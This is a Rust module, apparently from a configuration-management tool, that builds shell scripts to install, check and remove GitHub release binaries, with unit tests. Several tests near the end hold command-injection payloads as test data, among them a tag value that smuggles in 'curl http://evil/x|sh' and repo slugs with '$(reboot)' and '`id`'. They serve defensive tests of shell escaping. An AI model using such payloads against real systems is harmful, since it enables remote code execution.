use crate::core::shell_escape::{is_valid_repo, sh_squote};
use crate::core::types::Resource;
fn reject_bad_repo(repo: &str) -> String {
format!(
"echo {} >&2; exit 1",
sh_squote(&format!("ERROR: invalid github repo slug: {repo}"))
)
}
pub fn check_script(resource: &Resource) -> String {
let repo = resource.repo.as_deref().unwrap_or("unknown/unknown");
if !is_valid_repo(repo) {
return reject_bad_repo(repo);
}
let binary = resource.binary.as_deref().unwrap_or("unknown");
let install_dir = resource.install_dir.as_deref().unwrap_or("/usr/local/bin");
let bin_path = sh_squote(&format!("{install_dir}/{binary}"));
format!(
"if [ -x {bin_path} ]; then\n\
\x20 VER=$( {bin_path} --version 2>/dev/null | head -1 || echo 'unknown' )\n\
\x20 echo \"installed:{repo}:$VER\"\n\
else\n\
\x20 echo 'missing:{repo}'\n\
fi"
)
}
pub fn apply_script(resource: &Resource) -> String {
let repo = resource.repo.as_deref().unwrap_or("unknown/unknown");
if !is_valid_repo(repo) {
return reject_bad_repo(repo);
}
let tag = resource.tag.as_deref().unwrap_or("latest");
let asset_pattern = resource.asset_pattern.as_deref().unwrap_or("*");
let grep_pattern = sh_squote(asset_pattern.trim_matches('*'));
let binary = resource.binary.as_deref().unwrap_or("unknown");
let binary_q = sh_squote(binary);
let install_dir = resource.install_dir.as_deref().unwrap_or("/usr/local/bin");
let install_dir_q = sh_squote(install_dir);
let state = resource.state.as_deref().unwrap_or("present");
let bin_path = sh_squote(&format!("{install_dir}/{binary}"));
let release_url = sh_squote(&format!(
"https://api.github.com/repos/{repo}/releases/tags/{tag}"
));
let no_asset_msg = sh_squote(&format!(
"ERROR: no asset matching {asset_pattern} in {repo}@{tag}"
));
let tmp_bin = format!("\"$TMPDIR/\"{binary_q}");
match state {
"absent" => format!(
"set -euo pipefail\n\
rm -f {bin_path}\n\
echo 'removed:{repo}'"
),
_ => format!(
"set -euo pipefail\n\
TMPDIR=$(mktemp -d)\n\
trap 'rm -rf \"$TMPDIR\"' EXIT\n\
\n\
# Download release asset via GitHub API (no gh CLI required)\n\
RELEASE_URL={release_url}\n\
DOWNLOAD_URL=$(curl -fsSL \"$RELEASE_URL\" | \\\n\
\x20 grep -F {grep_pattern} | \\\n\
\x20 grep -o '\"browser_download_url\": *\"[^\"]*\"' | \\\n\
\x20 head -1 | \\\n\
\x20 grep -o 'https://[^\"]*')\n\
\n\
if [ -z \"$DOWNLOAD_URL\" ]; then\n\
\x20 echo {no_asset_msg} >&2\n\
\x20 exit 1\n\
fi\n\
\n\
ASSET_NAME=$(basename \"$DOWNLOAD_URL\")\n\
curl -fsSL -o \"$TMPDIR/$ASSET_NAME\" \"$DOWNLOAD_URL\"\n\
ASSET=\"$TMPDIR/$ASSET_NAME\"\n\
case \"$ASSET\" in\n\
\x20 *.tar.gz|*.tgz)\n\
\x20\x20\x20 tar xzf \"$ASSET\" -C \"$TMPDIR\" --strip-components=0\n\
\x20\x20\x20 # Find the binary in extracted files\n\
\x20\x20\x20 if [ -f {tmp_bin} ]; then\n\
\x20\x20\x20\x20\x20 EXTRACTED={tmp_bin}\n\
\x20\x20\x20 else\n\
\x20\x20\x20\x20\x20 EXTRACTED=$(find \"$TMPDIR\" -name {binary_q} -type f | head -1)\n\
\x20\x20\x20 fi\n\
\x20\x20\x20 ;;\n\
\x20 *.zip)\n\
\x20\x20\x20 unzip -o \"$ASSET\" -d \"$TMPDIR\"\n\
\x20\x20\x20 EXTRACTED=$(find \"$TMPDIR\" -name {binary_q} -type f | head -1)\n\
\x20\x20\x20 ;;\n\
\x20 *)\n\
\x20\x20\x20 EXTRACTED=\"$ASSET\"\n\
\x20\x20\x20 ;;\n\
esac\n\
\n\
if [ -z \"$EXTRACTED\" ] || [ ! -f \"$EXTRACTED\" ]; then\n\
\x20 echo {} >&2\n\
\x20 exit 1\n\
fi\n\
\n\
# Install (realpath validates path before cp)\n\
SAFE_BIN=$(realpath \"$EXTRACTED\")\n\
mkdir -p {install_dir_q}\n\
cp \"$SAFE_BIN\" {bin_path}\n\
chmod +x {bin_path}\n\
\n\
# Verify\n\
VER=$( {bin_path} --version 2>/dev/null | head -1 || echo 'installed' )\n\
echo \"installed:{repo}:$VER\"",
sh_squote(&format!("ERROR: binary {binary} not found in release asset"))
),
}
}
pub fn state_query_script(resource: &Resource) -> String {
let repo = resource.repo.as_deref().unwrap_or("unknown/unknown");
if !is_valid_repo(repo) {
return reject_bad_repo(repo);
}
let binary = resource.binary.as_deref().unwrap_or("unknown");
let install_dir = resource.install_dir.as_deref().unwrap_or("/usr/local/bin");
let bin_path = sh_squote(&format!("{install_dir}/{binary}"));
format!(
"if [ -x {bin_path} ]; then\n\
\x20 VER=$( {bin_path} --version 2>/dev/null | head -1 || echo 'unknown' )\n\
\x20 SIZE=$(stat -c%s {bin_path} 2>/dev/null || stat -f%z {bin_path} 2>/dev/null || echo '0')\n\
\x20 echo \"github_release={repo}:$VER:$SIZE\"\n\
else\n\
\x20 echo 'github_release=MISSING:{repo}'\n\
fi"
)
}
#[cfg(test)]
mod tests {
use super::*;
use crate::core::types::{MachineTarget, Resource, ResourceType};
fn make_github_release_resource(repo: &str, binary: &str) -> Resource {
Resource {
resource_type: ResourceType::GithubRelease,
machine: MachineTarget::Single("jetson".to_string()),
repo: Some(repo.to_string()),
tag: Some("nightly".to_string()),
asset_pattern: Some("*aarch64-unknown-linux-gnu*".to_string()),
binary: Some(binary.to_string()),
install_dir: Some("/home/user/.cargo/bin".to_string()),
..Default::default()
}
}
#[test]
fn test_fj034_check_installed() {
let r = make_github_release_resource("paiml/forjar", "forjar");
let script = check_script(&r);
assert!(script.contains("/home/user/.cargo/bin/forjar"));
assert!(script.contains("installed:paiml/forjar"));
assert!(script.contains("missing:paiml/forjar"));
assert!(script.contains("-x '"));
}
#[test]
fn test_fj034_apply_present() {
let r = make_github_release_resource("paiml/aprender", "apr");
let script = apply_script(&r);
assert!(script.contains("set -euo pipefail"));
assert!(script.contains("paiml/aprender/releases/tags/nightly"));
assert!(script.contains("aarch64-unknown-linux-gnu"));
assert!(script.contains("/home/user/.cargo/bin/apr"));
assert!(script.contains("chmod +x"));
}
#[test]
fn test_fj034_apply_absent() {
let mut r = make_github_release_resource("paiml/forjar", "forjar");
r.state = Some("absent".to_string());
let script = apply_script(&r);
assert!(script.contains("rm -f '/home/user/.cargo/bin/forjar'"));
assert!(script.contains("removed:paiml/forjar"));
}
#[test]
fn test_fj034_state_query() {
let r = make_github_release_resource("paiml/copia", "copia");
let script = state_query_script(&r);
assert!(script.contains("/home/user/.cargo/bin/copia"));
assert!(script.contains("github_release=paiml/copia"));
assert!(script.contains("github_release=MISSING:paiml/copia"));
}
#[test]
fn test_fj034_default_install_dir() {
let mut r = make_github_release_resource("paiml/pzsh", "pzsh");
r.install_dir = None;
let script = check_script(&r);
assert!(script.contains("/usr/local/bin/pzsh"));
}
#[test]
fn test_fj034_default_tag() {
let mut r = make_github_release_resource("paiml/forjar", "forjar");
r.tag = None;
let script = apply_script(&r);
assert!(script.contains("releases/tags/latest"));
}
#[test]
fn test_fj034_tarball_extraction() {
let r = make_github_release_resource("paiml/aprender", "apr");
let script = apply_script(&r);
assert!(script.contains("*.tar.gz|*.tgz)"));
assert!(script.contains("tar xzf"));
assert!(script.contains("*.zip)"));
assert!(script.contains("unzip -o"));
}
#[test]
fn test_fj034_tmpdir_cleanup() {
let r = make_github_release_resource("paiml/forjar", "forjar");
let script = apply_script(&r);
assert!(script.contains("mktemp -d"));
assert!(script.contains("trap 'rm -rf"));
}
#[test]
fn test_fj034_verify_after_install() {
let r = make_github_release_resource("paiml/forjar", "forjar");
let script = apply_script(&r);
assert!(script.contains("--version"));
assert!(script.contains("installed:paiml/forjar"));
}
#[test]
fn test_fj034_binary_not_found_error() {
let r = make_github_release_resource("paiml/forjar", "forjar");
let script = apply_script(&r);
assert!(script.contains("binary forjar not found in release asset"));
assert!(script.contains("exit 1"));
}
#[test]
fn test_fj034_mkdir_install_dir() {
let r = make_github_release_resource("paiml/forjar", "forjar");
let script = apply_script(&r);
assert!(script.contains("mkdir -p '/home/user/.cargo/bin'"));
}
#[test]
fn test_fj034_state_query_includes_size() {
let r = make_github_release_resource("paiml/forjar", "forjar");
let script = state_query_script(&r);
assert!(script.contains("stat -c%s") || script.contains("stat"));
}
#[test]
fn fj154_repo_command_substitution_rejected() {
let r = make_github_release_resource("x/y$(reboot)", "apr");
let script = apply_script(&r);
assert!(
script.contains("ERROR: invalid github repo slug"),
"{script}"
);
assert!(script.contains("exit 1"), "{script}");
assert!(!script.contains("repos/x/y$(reboot)"), "{script}");
}
#[test]
fn fj154_tag_injection_neutralized() {
let mut r = make_github_release_resource("paiml/aprender", "apr");
r.tag = Some("latest\";curl http://evil/x|sh;\"".to_string());
let script = apply_script(&r);
assert!(
script.contains("RELEASE_URL='https://api.github.com/repos/paiml/aprender/releases/tags/latest\";curl http://evil/x|sh;\"'"),
"{script}"
);
assert!(!script.contains("RELEASE_URL=\"https://"), "{script}");
}
#[test]
fn fj154_repo_rejected_in_all_phases() {
let r = make_github_release_resource("a/b`id`", "x");
assert!(check_script(&r).contains("ERROR: invalid github repo slug"));
assert!(state_query_script(&r).contains("ERROR: invalid github repo slug"));
}
#[test]
fn fj154_benign_repo_unchanged() {
let r = make_github_release_resource("paiml/aprender", "apr");
let script = apply_script(&r);
assert!(
script.contains("paiml/aprender/releases/tags/nightly"),
"{script}"
);
assert!(script.contains("/home/user/.cargo/bin/apr"), "{script}");
}
}